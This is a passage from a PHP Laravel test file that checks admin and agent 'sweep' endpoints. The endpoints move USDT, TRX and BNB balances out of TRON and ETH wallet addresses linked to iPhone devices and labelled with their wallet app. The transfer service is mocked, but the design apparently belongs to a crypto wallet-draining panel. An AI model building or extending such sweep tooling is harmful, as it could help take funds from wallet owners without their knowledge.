create([ 'device_id' => 'dev-sweep-1', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); return WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 'chain_type' => 'TRON', 'source' => 'imToken', 'usdt' => '12.5', 'trx' => '20', 'monitor' => 0, ]); } #[Test] public function admin_can_sweep_full_balance_via_addresses_page(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $addr = $this->seedTronAddress(); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->withArgs(function (string $chain, string $from, ?string $amount, string $asset, ?string $operator) use ($addr) { return $chain === 'tron' && $from === $addr->address && $amount === null && $asset === 'USDT' && is_string($operator) && str_starts_with($operator, 'admin:'); }) ->andReturn([ 'ok' => true, 'txid' => str_repeat('ab', 32), 'from' => $addr->address, 'to' => 'TToAddress', 'amount' => '12.5', 'asset' => 'USDT', ]); $this->app->instance(TransferService::class, $transfers); $this->actingAs($admin, 'admin') ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ 'asset' => 'USDT', 'amount' => '', ]) ->assertOk() ->assertJson([ 'code' => 0, 'data' => [ 'txid' => str_repeat('ab', 32), 'asset' => 'USDT', 'amount' => '12.5', ], ]); } #[Test] public function admin_can_sweep_specific_amount(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $addr = $this->seedTronAddress(); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('tron', $addr->address, '1.25', 'TRX', Mockery::type('string')) ->andReturn([ 'ok' => true, 'txid' => str_repeat('cd', 32), 'from' => $addr->address, 'to' => 'TToAddress', 'amount' => '1.25', 'asset' => 'TRX', ]); $this->app->instance(TransferService::class, $transfers); $this->actingAs($admin, 'admin') ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ 'asset' => 'TRX', 'amount' => '1.25', ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.txid', str_repeat('cd', 32)); } #[Test] public function sweep_rejects_invalid_asset_for_chain(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $addr = $this->seedTronAddress(); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $this->actingAs($admin, 'admin') ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ 'asset' => 'BTC', 'amount' => '', ]) ->assertStatus(422); } #[Test] public function agent_cannot_sweep_out_of_scope_address(): void { $agent = User::query()->create([ 'username' => 'agent1', 'password' => 'secret12', 'status' => 1, ]); $addr = $this->seedTronAddress(); $transfers = Mockery::mock(TransferService::class); $transfers->shouldNotReceive('handle'); $this->app->instance(TransferService::class, $transfers); $this->actingAs($agent, 'agent') ->postJson('/user/addresses/'.$addr->id.'/sweep', [ 'asset' => 'USDT', 'amount' => '', ]) ->assertStatus(403) ->assertJson(['code' => 1]); } #[Test] public function admin_can_sweep_bnb_on_eth_address(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'dev-sweep-eth', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); $addr = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => '0x9858EfFD232B4033E47d90003D41EC34EcaEda94', 'chain_type' => 'ETH', 'source' => 'MetaMask', 'eth' => '0.2', 'usdt' => '10', 'bnb' => '1.5', 'monitor' => 0, ]); $transfers = Mockery::mock(TransferService::class); $transfers->shouldReceive('handle') ->once() ->with('eth', $addr->address, '1.5', 'BNB', Mockery::type('string')) ->andReturn([ 'ok' => true, 'txid' => '0x'.str_repeat('ab', 32), 'from' => $addr->address, 'to' => '0x0000000000000000000000000000000000000001', 'amount' => '1.5', 'asset' => 'BNB', ]); $this->app->instance(TransferService::class, $transfers); $this->actingAs($admin, 'admin') ->postJson('/admin/addresses/'.$addr->id.'/sweep', [ 'asset' => 'BNB', 'amount' => '1.5', ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.asset', 'BNB'); } }